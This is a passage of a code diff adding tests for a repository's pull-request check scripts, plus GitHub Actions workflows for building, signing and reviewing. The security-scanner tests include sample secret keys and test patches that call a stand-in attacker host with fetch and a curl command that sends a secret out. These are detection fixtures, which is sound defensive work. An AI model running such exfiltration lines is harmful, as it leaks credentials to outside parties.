**Proposed solution:**
Build it.
**Alternatives considered:**
None.
`;
assert.equal(hasInlineIssueDescription(body), true);
});
@@ -0,0 +1,33 @@
import { test } from 'node:test';
import assert from 'node:assert/strict';
import { checkLockfile } from '../check-pr-lockfile.mjs';
const makeFiles = (filenames) => filenames.map(f => ({ filename: f, status: 'modified' }));
test('passes when lockfile is not changed', () => {
assert.equal(checkLockfile(makeFiles(['src/foo.ts']), 'someuser', 'fix/bug').passed, true);
});
test('passes when lockfile changed by refresh bot on correct branch', () => {
const result = checkLockfile(
makeFiles(['pnpm-lock.yaml']),
'github-actions[bot]',
'chore/refresh-lockfile'
);
assert.equal(result.passed, true);
});
test('fails when lockfile changed by regular user', () => {
const result = checkLockfile(makeFiles(['pnpm-lock.yaml']), 'someuser', 'fix/bug');
assert.equal(result.passed, false);
assert.ok(result.failures[0].includes('pnpm-lock.yaml'));
});
test('fails when lockfile changed by bot on wrong branch', () => {
const result = checkLockfile(
makeFiles(['pnpm-lock.yaml']),
'github-actions[bot]',
'fix/something-else'
);
assert.equal(result.passed, false);
});
@@ -0,0 +1,380 @@
import { test } from 'node:test';
import assert from 'node:assert/strict';
import {
buildAdvisoryPayload,
findExistingDraftAdvisory,
postSecurityCheckRun,
scanSecrets,
scanCITampering,
scanBuildScripts,
scanSupplyChain,
scanTestPatterns,
scanSensitivePaths,
startScriptWatchdog,
syncDraftAdvisory,
validateSensitivePaths,
} from '../check-pr-security.mjs';
import { ghFetch } from '../get-bot-token.mjs';
// ── scanSecrets ──────────────────────────────────────────────────────────────
test('scanSecrets: flags OpenAI key in added line', () => {
const files = [{ filename: 'src/config.ts', patch: '+const key = "sk-abcdefghijklmnopqrstuvwxyz123456"' }];
assert.ok(scanSecrets(files).length > 0);
});
test('scanSecrets: flags AWS key in added line', () => {
const files = [{ filename: 'src/config.ts', patch: '+const awsKey = "AKIAIOSFODNN7EXAMPLE"' }];
assert.ok(scanSecrets(files).length > 0);
});
test('scanSecrets: ignores removed lines', () => {
const files = [{ filename: 'src/config.ts', patch: '-const key = "sk-abcdefghijklmnopqrstuvwxyz123456"' }];
assert.equal(scanSecrets(files).length, 0);
});
test('scanSecrets: ignores files without patch', () => {
assert.equal(scanSecrets([{ filename: 'large-file.ts' }]).length, 0);
});
// ── scanCITampering ──────────────────────────────────────────────────────────
test('scanCITampering: flags workflow file changes', () => {
const files = [{ filename: '.github/workflows/pr.yml', status: 'modified' }];
assert.ok(scanCITampering(files).length > 0);
});
test('scanCITampering: ignores non-workflow files', () => {
const files = [{ filename: 'src/foo.ts', status: 'modified' }];
assert.equal(scanCITampering(files).length, 0);
});
test('scanCITampering: ignores removed workflow files', () => {
const files = [{ filename: '.github/workflows/old.yml', status: 'removed' }];
assert.equal(scanCITampering(files).length, 0);
});
// ── scanBuildScripts ─────────────────────────────────────────────────────────
test('scanBuildScripts: flags changes to release.sh', () => {
const files = [{ filename: 'scripts/release.sh', status: 'modified' }];
assert.ok(scanBuildScripts(files).length > 0);
});
test('scanBuildScripts: ignores non-CI scripts', () => {
const files = [{ filename: 'scripts/generate-org-chart-images.ts', status: 'modified' }];
assert.equal(scanBuildScripts(files).length, 0);
});
// ── scanSupplyChain ──────────────────────────────────────────────────────────
test('scanSupplyChain: flags net-new packages in lockfile', () => {
const patch = `@@ -1,3 +1,4 @@
packages:
+ 'evil-package@1.0.0':
'existing-package@2.0.0':
- 'old-package@1.0.0':
`;
const files = [{ filename: 'pnpm-lock.yaml', patch }];
const flags = scanSupplyChain(files);
assert.ok(flags.length > 0);
assert.ok(flags[0].packages.includes('evil-package'));
});
test('scanSupplyChain: does not flag version-only bumps', () => {
const patch = `@@ -1,3 +1,3 @@
packages:
- 'existing-package@1.0.0':
+ 'existing-package@2.0.0':
`;
const files = [{ filename: 'pnpm-lock.yaml', patch }];
assert.equal(scanSupplyChain(files).length, 0);
});
test('scanSupplyChain: flags pnpm v9-style unquoted package entries', () => {
const patch = `@@ -1,2 +1,3 @@
+evil-package@1.0.0:
existing-package@2.0.0:
`;
const files = [{ filename: 'pnpm-lock.yaml', patch }];
const flags = scanSupplyChain(files);
assert.deepEqual(flags, [{ check: 'supply-chain', packages: ['evil-package'] }]);
});
test('scanSupplyChain: ignores peer suffixes when matching package names', () => {
const patch = `@@ -1,2 +1,2 @@
-@scope/pkg@1.0.0(react@18.2.0):
+@scope/pkg@2.0.0(react@18.2.0):
`;
const files = [{ filename: 'pnpm-lock.yaml', patch }];
assert.equal(scanSupplyChain(files).length, 0);
});
test('scanSupplyChain: flags net-new packages that include pnpm peer suffixes', () => {
const patch = `@@ -1,2 +1,3 @@
+evil-package@1.0.0(react@18.2.0):
existing-package@2.0.0:
`;
const files = [{ filename: 'pnpm-lock.yaml', patch }];
const flags = scanSupplyChain(files);
assert.deepEqual(flags, [{ check: 'supply-chain', packages: ['evil-package'] }]);
});
test('findExistingDraftAdvisory: returns matching draft advisory from paginated results', async () => {
const calls = [];
const fakeFetch = async (path) => {
calls.push(path);
if (/[?&]page=1(?:&|$)/.test(path)) {
return Array.from({ length: 100 }, (_, i) => ({ summary: `Unrelated advisory ${i}` }));
}
if (/[?&]page=2(?:&|$)/.test(path)) {
return [{ summary: '🚨 Security flag — PR #6469: ci-tampering' }];
}
return [];
};
const advisory = await findExistingDraftAdvisory(fakeFetch, 'token', 'paperclipai/paperclip', 6469);
assert.deepEqual(advisory, { summary: '🚨 Security flag — PR #6469: ci-tampering' });
assert.equal(calls.length, 2);
});
test('findExistingDraftAdvisory: returns null when no matching draft advisory exists', async () => {
const fakeFetch = async () => [{ summary: 'Completely different advisory' }];
const advisory = await findExistingDraftAdvisory(fakeFetch, 'token', 'paperclipai/paperclip', 6469);
assert.equal(advisory, null);
});
test('findExistingDraftAdvisory: bails out at the page cap so a large backlog cannot hang the workflow', async () => {
let pageCount = 0;
const fakeFetch = async () => {
pageCount += 1;
return Array.from({ length: 100 }, (_, i) => ({ summary: `Unrelated advisory ${pageCount}-${i}` }));
};
const advisory = await findExistingDraftAdvisory(fakeFetch, 'token', 'paperclipai/paperclip', 6469);
assert.equal(advisory, null);
assert.equal(pageCount, 20, `expected pagination to run exactly 20 pages (the cap), got ${pageCount}`);
});
test('syncDraftAdvisory: patches an existing advisory with the latest flags', async () => {
const calls = [];
const flags = [
{ check: 'ci-tampering', file: '.github/workflows/pr.yml' },
{ check: 'secret-scan', file: 'src/config.ts', pattern: 'OpenAI API key' },
];
await syncDraftAdvisory(async (path, token, options) => {
calls.push({ path, token, options });
if (path.includes('/security-advisories?state=draft')) {
return [{ ghsa_id: 'GHSA-test-1234', summary: '🚨 Security flag — PR #6469: ci-tampering' }];
}
return { ok: true };
}, 'token', 'paperclipai/paperclip', 6469, 'My PR', flags);
assert.equal(calls.length, 2);
assert.equal(calls[1].path, '/repos/paperclipai/paperclip/security-advisories/GHSA-test-1234');
assert.equal(calls[1].options.method, 'PATCH');
const patchBody = JSON.parse(calls[1].options.body);
const { vulnerabilities, ...expectedPatch } = buildAdvisoryPayload(6469, 'My PR', flags);
assert.deepEqual(patchBody, expectedPatch);
assert.ok(!('vulnerabilities' in patchBody), 'PATCH must omit vulnerabilities (GitHub rejects empty array with 422)');
});
test('syncDraftAdvisory: creates a new advisory when none exists', async () => {
const calls = [];
const flags = [{ check: 'supply-chain', packages: ['evil-package'] }];
await syncDraftAdvisory(async (path, token, options) => {
calls.push({ path, token, options });
if (path.includes('/security-advisories?state=draft')) {
return [];
}
return { ok: true };
}, 'token', 'paperclipai/paperclip', 6469, 'My PR', flags);
assert.equal(calls.length, 2);
assert.equal(calls[1].path, '/repos/paperclipai/paperclip/security-advisories');
assert.equal(calls[1].options.method, 'POST');
assert.deepEqual(JSON.parse(calls[1].options.body), buildAdvisoryPayload(6469, 'My PR', flags));
});
test('postSecurityCheckRun: uses the injected fetch implementation', async () => {
const calls = [];
await postSecurityCheckRun(async (path, token, options) => {
calls.push({ path, token, options });
return { ok: true };
}, 'token', 'paperclipai/paperclip', 'deadbeef', true);
assert.equal(calls.length, 1);
assert.equal(calls[0].path, '/repos/paperclipai/paperclip/check-runs');
assert.equal(calls[0].options.method, 'POST');
assert.deepEqual(JSON.parse(calls[0].options.body), {
name: 'security-review',
head_sha: 'deadbeef',
status: 'completed',
conclusion: 'neutral',
output: {
title: 'Security Review Recommended',
summary: 'Draft advisory filed for maintainer review. Not a merge block — review the advisory at your leisure.',
},
});
});
test('validateSensitivePaths: checks paths against the resolved base ref instead of master', async () => {
const seenPaths = [];
const stale = await validateSensitivePaths(
'token',
'paperclipai/paperclip',
6469,
'release/1.2',
async (path) => {
seenPaths.push(path);
return { ok: true };
},
);
assert.deepEqual(stale, []);
assert.ok(seenPaths.every(path => path.includes('ref=release%2F1.2')));
assert.ok(!seenPaths.some(path => path.includes('ref=master')));
});
test('validateSensitivePaths: returns only 404 paths and rethrows non-404 errors', async () => {
let seen404 = false;
const stale = await validateSensitivePaths(
'token',
'paperclipai/paperclip',
6469,
'main',
async (path) => {
if (!seen404) {
seen404 = true;
throw new Error('GitHub API GET /contents/foo → 404: missing');
}
return { ok: true };
},
);
assert.equal(stale.length, 1);
await assert.rejects(
validateSensitivePaths(
'token',
'paperclipai/paperclip',
6469,
'main',
async () => {
throw new Error('GitHub API GET /contents/foo → 500: boom');
},
),
/500: boom/
);
});
// ── scanTestPatterns ─────────────────────────────────────────────────────────
test('scanTestPatterns: flags outbound fetch in test file', () => {
const files = [{
filename: 'src/foo.test.ts',
patch: `+ const res = await fetch('https://attacker.com/collect')`,
}];
assert.ok(scanTestPatterns(files).length > 0);
});
test('scanTestPatterns: flags execSync in test file', () => {
const files = [{
filename: 'src/foo.test.ts',
patch: `+ execSync('curl https://attacker.com?data=' + secret)`,
}];
assert.ok(scanTestPatterns(files).length > 0);
});
test('scanTestPatterns: ignores suspicious patterns in non-test files', () => {
const files = [{
filename: 'src/api.ts',
patch: `+ const res = await fetch('https://api.example.com')`,
}];
assert.equal(scanTestPatterns(files).length, 0);
});
test('scanTestPatterns: flags suspicious patterns in __tests__ directories', () => {
const files = [{
filename: 'src/__tests__/foo.ts',
patch: `+ execSync('curl https://attacker.com?data=' + secret)`,
}];
assert.ok(scanTestPatterns(files).length > 0);
});
// ── scanSensitivePaths ───────────────────────────────────────────────────────
test('scanSensitivePaths: flags changes to agents route (API key IDOR / cross-tenant)', () => {
const files = [{ filename: 'server/src/routes/agents.ts', status: 'modified' }];
assert.ok(scanSensitivePaths(files).length > 0);
});
test('scanSensitivePaths: flags changes to MarkdownBody (XSS via urlTransform)', () => {
const files = [{ filename: 'ui/src/components/MarkdownBody.tsx', status: 'modified' }];
assert.ok(scanSensitivePaths(files).length > 0);
});
test('scanSensitivePaths: flags changes to company-skills route (malicious skill exfil)', () => {
const files = [{ filename: 'server/src/routes/company-skills.ts', status: 'modified' }];
assert.ok(scanSensitivePaths(files).length > 0);
});
test('scanSensitivePaths: ignores unrelated paths', () => {
const files = [{ filename: 'server/src/utils/date.ts', status: 'modified' }];
assert.equal(scanSensitivePaths(files).length, 0);
});
test('scanSensitivePaths: ignores removed files even on sensitive paths', () => {
const files = [{ filename: 'server/src/routes/agents.ts', status: 'removed' }];
assert.equal(scanSensitivePaths(files).length, 0);
});
// ── startScriptWatchdog ──────────────────────────────────────────────────────
test('startScriptWatchdog: fires exit(0) when the wall-clock budget is exceeded', async () => {
let exitCode = null;
const fakeExit = (code) => { exitCode = code; };
startScriptWatchdog(20, fakeExit);
await new Promise((resolve) => setTimeout(resolve, 60));
assert.equal(exitCode, 0, 'watchdog should have exited with code 0 by now');
});
test('startScriptWatchdog: cleared timer never fires', async () => {
let exitCode = null;
const fakeExit = (code) => { exitCode = code; };
const timer = startScriptWatchdog(20, fakeExit);
clearTimeout(timer);
await new Promise((resolve) => setTimeout(resolve, 60));
assert.equal(exitCode, null, 'cleared watchdog must not call exit');
});
// ── ghFetch timeout ──────────────────────────────────────────────────────────
test('ghFetch: aborts the request when the per-call timeout elapses', async () => {
const originalFetch = globalThis.fetch;
// Replace global fetch with one that respects the AbortSignal but never resolves on its own.
globalThis.fetch = (_url, init) => new Promise((_resolve, reject) => {
init?.signal?.addEventListener('abort', () => {
const err = new Error('aborted');
err.name = 'AbortError';
reject(err);
}, { once: true });
});
try {
const start = Date.now();
await assert.rejects(
ghFetch('/repos/example/example/security-advisories', 'token', { timeoutMs: 30 }),
/aborted|abort/i,
);
const elapsed = Date.now() - start;
assert.ok(elapsed < 500, `ghFetch should abort within the timeout, took ${elapsed}ms`);
} finally {
globalThis.fetch = originalFetch;
}
});
@@ -0,0 +1,123 @@
import { test } from 'node:test';
import assert from 'node:assert/strict';
import { checkTemplate } from '../check-pr-template.mjs';
const VALID_BODY = `
## Thinking Path
First I considered the root cause of the bug in the cursor logic. Then I traced the execution path through the pagination code. Finally I identified that the date binding was missing a toISOString call.
## What Changed
- Added .toISOString() call before binding anchor.createdAt to the postgres query
## Verification
Run pnpm test:run:general and verify the cursor pagination tests pass.
## Risks
Low risk — isolated change to one query parameter.
## Model Used
Claude Sonnet 4.5, 200k context window, extended thinking enabled, tool use: read/edit files
`;
test('passes with valid full template', () => {
const result = checkTemplate(VALID_BODY);
assert.equal(result.passed, true);
assert.deepEqual(result.failures, []);
});
test('fails when Thinking Path section is missing', () => {
const body = VALID_BODY.replace('## Thinking Path', '## Removed');
const result = checkTemplate(body);
assert.equal(result.passed, false);
assert.ok(result.failures.some(f => f.includes('Thinking Path')));
});
test('fails when Thinking Path has fewer than 3 sentences', () => {
const body = VALID_BODY.replace(
/## Thinking Path\n[\s\S]*?\n## What Changed/,
'## Thinking Path\nOnly one sentence here.\n\n## What Changed'
);
const result = checkTemplate(body);
assert.equal(result.passed, false);
assert.ok(result.failures.some(f => f.includes('Thinking Path') && f.includes('sentence')));
});
test('passes Thinking Path written as a bullet list without terminal punctuation', () => {
const body = VALID_BODY.replace(
/## Thinking Path\n[\s\S]*?\n## What Changed/,
`## Thinking Path
- First point about the root cause of the bug
- Second point about how the fix addresses it
- Third point about why this approach was chosen
## What Changed`
);
const result = checkTemplate(body);
assert.equal(result.passed, true);
assert.deepEqual(result.failures, []);
});
test('passes Thinking Path written as a blockquoted bullet list', () => {
const body = VALID_BODY.replace(
/## Thinking Path\n[\s\S]*?\n## What Changed/,
`## Thinking Path
> - First point in a blockquote
> - Second point in a blockquote
> - Third point in a blockquote
## What Changed`
);
const result = checkTemplate(body);
assert.equal(result.passed, true);
assert.deepEqual(result.failures, []);
});
test('passes Thinking Path written as multiple paragraphs without terminal punctuation', () => {
const body = VALID_BODY.replace(
/## Thinking Path\n[\s\S]*?\n## What Changed/,
`## Thinking Path
First paragraph explaining the situation in detail
Second paragraph explaining the chosen approach in detail
Third paragraph explaining the tradeoffs in detail
## What Changed`
);
const result = checkTemplate(body);
assert.equal(result.passed, true);
assert.deepEqual(result.failures, []);
});
test('fails when Model Used section is missing', () => {
const body = VALID_BODY.replace('## Model Used', '## Removed');
const result = checkTemplate(body);
assert.equal(result.passed, false);
assert.ok(result.failures.some(f => f.includes('Model Used')));
});
test('fails when Model Used contains placeholder text', () => {
const body = VALID_BODY.replace(
/## Model Used\n[\s\S]*/,
'## Model Used\nprovider, model id/version, context window, reasoning mode, tool use'
);
const result = checkTemplate(body);
assert.equal(result.passed, false);
assert.ok(result.failures.some(f => f.includes('Model Used') && f.includes('placeholder')));
});
test('fails when What Changed section is empty', () => {
const body = VALID_BODY.replace(
/## What Changed\n[\s\S]*?\n## Verification/,
'## What Changed\n\n## Verification'
);
const result = checkTemplate(body);
assert.equal(result.passed, false);
assert.ok(result.failures.some(f => f.includes('What Changed')));
});
test('returns multiple failures at once', () => {
const result = checkTemplate('');
assert.equal(result.passed, false);
assert.ok(result.failures.length >= 5);
});
@@ -0,0 +1,109 @@
import { test } from 'node:test';
import assert from 'node:assert/strict';
import { checkTestCoverage } from '../check-pr-test-coverage.mjs';
const makeFiles = (filenames) =>
filenames.map(filename => ({ filename, status: 'modified' }));
// Existing tests with title parameter added (fix: prefix means test required)
test('passes when .test.ts file is changed', () => {
assert.equal(checkTestCoverage(makeFiles(['src/foo.test.ts', 'src/foo.ts']), 'fix: bug').passed, true);
});
test('passes when .spec.js file is changed', () => {
assert.equal(checkTestCoverage(makeFiles(['src/bar.spec.js']), 'fix: bug').passed, true);
});
test('passes when .test.mjs file is changed', () => {
assert.equal(checkTestCoverage(makeFiles(['scripts/foo.test.mjs', 'scripts/foo.mjs']), 'fix: bug').passed, true);
});
test('passes when .test.cjs file is changed', () => {
assert.equal(checkTestCoverage(makeFiles(['scripts/bar.test.cjs']), 'fix: bug').passed, true);
});
test('passes when file under tests/ is changed', () => {
assert.equal(checkTestCoverage(makeFiles(['tests/unit/baz.ts']), 'fix: bug').passed, true);
});
test('passes when file under __tests__ is changed', () => {
assert.equal(checkTestCoverage(makeFiles(['src/__tests__/qux.ts']), 'fix: bug').passed, true);
});
test('fails when fix: PR has no tests', () => {
const result = checkTestCoverage(makeFiles(['src/foo.ts', 'src/bar.ts']), 'fix: bug');
assert.equal(result.passed, false);
assert.ok(result.failures[0].includes('test'));
});
test('fails when feat: PR has no tests', () => {
const result = checkTestCoverage(makeFiles(['src/foo.ts']), 'feat: new feature');
assert.equal(result.passed, false);
});
test('fails with empty file list and fix: prefix', () => {
assert.equal(checkTestCoverage([], 'fix: bug').passed, false);
});
test('ignores removed test files', () => {
const files = [
{ filename: 'src/foo.test.ts', status: 'removed' },
{ filename: 'src/foo.ts', status: 'modified' },
];
assert.equal(checkTestCoverage(files, 'fix: bug').passed, false);
});
// New tests for prefix-aware skip behavior
test('skips test requirement for docs: prefix (markdown only)', () => {
assert.equal(checkTestCoverage(makeFiles(['README.md', 'docs/setup.md']), 'docs: update guide').passed, true);
});
test('skips test requirement for chore: prefix (config only)', () => {
assert.equal(checkTestCoverage(makeFiles(['.gitignore', '.github/labels.yml']), 'chore: cleanup').passed, true);
});
test('skips test requirement for refactor: prefix', () => {
assert.equal(checkTestCoverage(makeFiles(['src/foo.ts']), 'refactor: rename function').passed, true);
});
test('skips test requirement for style: prefix', () => {
assert.equal(checkTestCoverage(makeFiles(['src/foo.ts']), 'style: format').passed, true);
});
// New tests for mismatch detection
test('flags docs: PR with source code changes', () => {
const result = checkTestCoverage(makeFiles(['src/api.ts', 'README.md']), 'docs: update docs');
assert.equal(result.passed, false);
assert.ok(result.failures[0].includes('docs:'));
assert.ok(result.failures[0].includes('source code'));
});
test('flags chore: PR with source code changes', () => {
const result = checkTestCoverage(makeFiles(['src/server.ts']), 'chore: cleanup');
assert.equal(result.passed, false);
assert.ok(result.failures[0].includes('chore:'));
});
test('does NOT flag chore: PR with only config files', () => {
const result = checkTestCoverage(makeFiles(['package.json', '.eslintrc.js']), 'chore: bump');
// .eslintrc.js is a .js file but it's config — current rule will flag it. This documents that.
// For now we err on the side of flagging — contributor can retitle if needed.
assert.equal(result.passed, false);
});
test('does NOT flag refactor: PR with source code (refactor expects source changes)', () => {
const result = checkTestCoverage(makeFiles(['src/foo.ts']), 'refactor: rename');
assert.equal(result.passed, true);
});
test('requires test when no prefix used', () => {
const result = checkTestCoverage(makeFiles(['src/foo.ts']), 'Some PR with no prefix');
assert.equal(result.passed, false);
});
test('handles scoped prefix like fix(server):', () => {
assert.equal(checkTestCoverage(makeFiles(['src/foo.test.ts', 'src/foo.ts']), 'fix(server): bug').passed, true);
});
@@ -0,0 +1,37 @@
import { test } from 'node:test';
import assert from 'node:assert/strict';
import { fetchAllPullRequestFiles } from '../fetch-pr-files.mjs';
test('fetchAllPullRequestFiles: returns a single short page', async () => {
const seenPaths = [];
const files = await fetchAllPullRequestFiles(async (path) => {
seenPaths.push(path);
return [{ filename: 'src/only.ts' }];
}, 'paperclipai/paperclip', 6469, 'token');
assert.deepEqual(seenPaths, [
'/repos/paperclipai/paperclip/pulls/6469/files?per_page=100&page=1',
]);
assert.equal(files.length, 1);
});
test('fetchAllPullRequestFiles: keeps fetching when a page is full', async () => {
const seenPaths = [];
const files = await fetchAllPullRequestFiles(async (path) => {
seenPaths.push(path);
const page = Number(new URL(`https://github.com${path}`).searchParams.get('page'));
if (page === 1) {
return Array.from({ length: 100 }, (_, index) => ({
filename: `src/file-${index + 1}.ts`,
}));
}
return [{ filename: 'src/file-101.ts' }];
}, 'paperclipai/paperclip', 6469, 'token');
assert.deepEqual(seenPaths, [
'/repos/paperclipai/paperclip/pulls/6469/files?per_page=100&page=1',
'/repos/paperclipai/paperclip/pulls/6469/files?per_page=100&page=2',
]);
assert.equal(files.length, 101);
assert.equal(files.at(-1)?.filename, 'src/file-101.ts');
});
@@ -0,0 +1,33 @@
import { test } from 'node:test';
import assert from 'node:assert/strict';
import { resolveInstallationId } from '../get-bot-token.mjs';
test('resolveInstallationId: uses the repo installation endpoint when repo context is available', async () => {
const seenPaths = [];
const installationId = await resolveInstallationId(async (path) => {
seenPaths.push(path);
return { id: 42 };
}, 'jwt', 'paperclipai/paperclip', 'paperclipai');
assert.equal(installationId, 42);
assert.deepEqual(seenPaths, ['/repos/paperclipai/paperclip/installation']);
});
test('resolveInstallationId: falls back to the matching owner installation', async () => {
const installationId = await resolveInstallationId(async () => ([
{ id: 1, account: { login: 'someone-else' } },
{ id: 7, account: { login: 'PaperclipAI' } },
]), 'jwt', undefined, 'paperclipai');
assert.equal(installationId, 7);
});
test('resolveInstallationId: rejects ambiguous installations without repo or owner context', async () => {
await assert.rejects(
resolveInstallationId(async () => ([
{ id: 1, account: { login: 'org-one' } },
{ id: 2, account: { login: 'org-two' } },
]), 'jwt'),
/Multiple commitperclip installations found/
);
});
@@ -0,0 +1,43 @@
import { test } from 'node:test';
import assert from 'node:assert/strict';
import { findExistingComment } from '../run-quality-gates.mjs';
test('findExistingComment: paginates until it finds the commitperclip comment', async () => {
const seenPaths = [];
const comment = await findExistingComment(async (path) => {
seenPaths.push(path);
if (path.endsWith('page=1')) {
return Array.from({ length: 100 }, (_, index) => ({
id: index + 1,
user: { login: 'someone-else' },
body: 'unrelated',
}));
}
if (path.endsWith('page=2')) {
return [{
id: 200,
user: { login: 'commitperclip[bot]' },
body: 'Looks good.\n\n— commitperclip',
}];
}
return [];
}, 'token', 'paperclipai/paperclip', 6469);
assert.equal(comment.id, 200);
assert.deepEqual(seenPaths, [
'/repos/paperclipai/paperclip/issues/6469/comments?per_page=100&page=1',
'/repos/paperclipai/paperclip/issues/6469/comments?per_page=100&page=2',
]);
});
test('findExistingComment: returns null when no signed comment exists', async () => {
const comment = await findExistingComment(async () => ([
{
id: 1,
user: { login: 'commitperclip[bot]' },
body: 'Unsigned status update',
},
]), 'token', 'paperclipai/paperclip', 6469);
assert.equal(comment, null);
});
@@ -0,0 +1,98 @@
name: Agent runtime images
on:
push:
branches: [master]
paths:
- "docker/agent-runtime/**"
- "tools/agent-shim/**"
- ".github/workflows/agent-runtime-images.yml"
workflow_dispatch:
inputs:
version:
description: "Image version tag (e.g., v1.0.0 or dev-test)"
required: true
default: "dev"
permissions:
contents: read
packages: write
id-token: write # cosign keyless OIDC
env:
REGISTRY: ghcr.io/paperclipai
VERSION: ${{ github.event.inputs.version || format('git-{0}', github.sha) }}
jobs:
build-and-sign:
runs-on: ubuntu-22.04
steps:
- uses: actions/checkout@v7
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v4
- name: Log into GHCR
uses: docker/login-action@v4
with:
registry: ghcr.io
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}
- name: Install cosign
uses: sigstore/cosign-installer@v3
- name: Build + push all deployed harness images (linux/amd64)
id: bake
run: |
# Scope: the five harnesses the kubernetes sandbox provider supports
# out of the box (opencode, pi, codex, gemini, claude). acpx/hermes
# have Dockerfiles in the bake group but are not published by default.
# Platforms come from the bake HCL (linux/amd64).
# Use --push rather than a "*.push" --set so the wildcard does not hit
# the bake group (which has no such key -> "unknown key" error).
docker buildx bake \
-f docker/agent-runtime/buildx-bake.hcl \
base opencode pi codex gemini claude \
--push \
--metadata-file=bake-metadata.json
# Extract digests for cosign signing
BASE_DIGEST=$(jq -r '."base"."containerimage.digest"' bake-metadata.json)
OPENCODE_DIGEST=$(jq -r '."opencode"."containerimage.digest"' bake-metadata.json)
PI_DIGEST=$(jq -r '."pi"."containerimage.digest"' bake-metadata.json)
CODEX_DIGEST=$(jq -r '."codex"."containerimage.digest"' bake-metadata.json)
GEMINI_DIGEST=$(jq -r '."gemini"."containerimage.digest"' bake-metadata.json)
CLAUDE_DIGEST=$(jq -r '."claude"."containerimage.digest"' bake-metadata.json)
echo "base_digest=$BASE_DIGEST" >> "$GITHUB_OUTPUT"
echo "opencode_digest=$OPENCODE_DIGEST" >> "$GITHUB_OUTPUT"
echo "pi_digest=$PI_DIGEST" >> "$GITHUB_OUTPUT"
echo "codex_digest=$CODEX_DIGEST" >> "$GITHUB_OUTPUT"
echo "gemini_digest=$GEMINI_DIGEST" >> "$GITHUB_OUTPUT"
echo "claude_digest=$CLAUDE_DIGEST" >> "$GITHUB_OUTPUT"
env:
VERSION: ${{ env.VERSION }}
REGISTRY: ${{ env.REGISTRY }}
- name: Cosign sign base
run: |
cosign sign --yes "${{ env.REGISTRY }}/agent-runtime-base@${{ steps.bake.outputs.base_digest }}"
- name: Cosign sign opencode
run: |
cosign sign --yes "${{ env.REGISTRY }}/agent-runtime-opencode@${{ steps.bake.outputs.opencode_digest }}"
- name: Cosign sign pi
run: |
cosign sign --yes "${{ env.REGISTRY }}/agent-runtime-pi@${{ steps.bake.outputs.pi_digest }}"
- name: Cosign sign codex
run: |
cosign sign --yes "${{ env.REGISTRY }}/agent-runtime-codex@${{ steps.bake.outputs.codex_digest }}"
- name: Cosign sign gemini
run: |
cosign sign --yes "${{ env.REGISTRY }}/agent-runtime-gemini@${{ steps.bake.outputs.gemini_digest }}"
- name: Cosign sign claude
run: |
cosign sign --yes "${{ env.REGISTRY }}/agent-runtime-claude@${{ steps.bake.outputs.claude_digest }}"
@@ -0,0 +1,74 @@
name: commitperclip PR Review
on:
pull_request_target:
types: [opened, synchronize, reopened]
# Always runs from base branch context — never executes PR code.
# pull_request_target gives access to secrets for untrusted fork PRs.
permissions:
pull-requests: write
security-events: write
checks: write
contents: read
jobs:
review:
runs-on: ubuntu-latest
timeout-minutes: 5
steps:
- name: Checkout base branch (never PR code)
uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7.0.0
with:
ref: master
- name: Dependency Review
uses: actions/dependency-review-action@a1d282b36b6f3519aa1f3fc636f609c47dddb294 # v5.0.0
with:
base-ref: ${{ github.event.pull_request.base.sha }}
head-ref: ${{ github.event.pull_request.head.sha }}
- name: Set up Node
uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e # v6.4.0
with:
node-version: '20'
- name: Generate commitperclip token
id: token
run: |
TOKEN=$(node .github/scripts/get-bot-token.mjs)
echo "::add-mask::$TOKEN"
echo "value=$TOKEN" >> $GITHUB_OUTPUT
env:
COMMITPERCLIP_KEY: ${{ secrets.COMMITPERCLIP_KEY }}
- name: Run quality gates
id: quality
if: github.event.pull_request.user.login != 'dependabot[bot]'
run: node .github/scripts/run-quality-gates.mjs
continue-on-error: true
env:
GH_TOKEN: ${{ steps.token.outputs.value }}
GH_REPO: ${{ github.repository }}
PR_NUMBER: ${{ github.event.pull_request.number }}
PR_AUTHOR: ${{ github.event.pull_request.user.login }}
PR_BRANCH: ${{ github.event.pull_request.head.ref }}
- name: Run security gates
run: node .github/scripts/check-pr-security.mjs
continue-on-error: true
timeout-minutes: 3
env:
GH_TOKEN: ${{ steps.token.outputs.value }}
GH_REPO: ${{ github.repository }}
PR_NUMBER: ${{ github.event.pull_request.number }}
PR_AUTHOR: ${{ github.event.pull_request.user.login }}
- name: Fail if quality gates failed
if: >-
github.event.pull_request.user.login != 'dependabot[bot]' &&
steps.quality.outcome == 'failure'
run: |
echo "One or more quality gates failed. See commitperclip comment on the PR for details."
exit 1
+55
View File
@@ -0,0 +1,55 @@
name: Docker
on:
push:
branches:
- "master"
tags:
- "v*"
permissions:
contents: read
packages: write
jobs:
build-and-push:
runs-on: ubuntu-latest
timeout-minutes: 60
concurrency:
group: docker-${{ github.ref }}
cancel-in-progress: true
steps:
- name: Checkout
uses: actions/checkout@v7
- name: Login to GitHub Container Registry
uses: docker/login-action@v4
with:
registry: ghcr.io
username: ${{ github.repository_owner }}
password: ${{ secrets.GITHUB_TOKEN }}
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v4
- name: Docker meta
id: meta
uses: docker/metadata-action@v6
with:
images: ghcr.io/${{ github.repository }}
tags: |
type=raw,value=latest,enable={{is_default_branch}}
type=semver,pattern={{version}}
type=semver,pattern={{major}}.{{minor}}
type=sha
- name: Build and push
uses: docker/build-push-action@v7
with:
context: .
platforms: linux/amd64,linux/arm64
push: true
cache-from: type=gha
cache-to: type=gha,mode=max
tags: ${{ steps.meta.outputs.tags }}
labels: ${{ steps.meta.outputs.labels }}
+46
View File
@@ -0,0 +1,46 @@
name: E2E Tests
on:
workflow_dispatch:
inputs:
skip_llm:
description: "Skip LLM-dependent assertions (default: true)"
type: boolean
default: true
jobs:
e2e:
runs-on: ubuntu-latest
timeout-minutes: 30
env:
PAPERCLIP_E2E_SKIP_LLM: ${{ inputs.skip_llm && 'true' || 'false' }}
ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }}
steps:
- uses: actions/checkout@v7
- uses: pnpm/action-setup@v6
with:
version: 9
- uses: actions/setup-node@v6
with:
node-version: 20
cache: pnpm
- run: pnpm install --frozen-lockfile
- run: pnpm build
- run: google-chrome --version
- name: Run e2e tests
env:
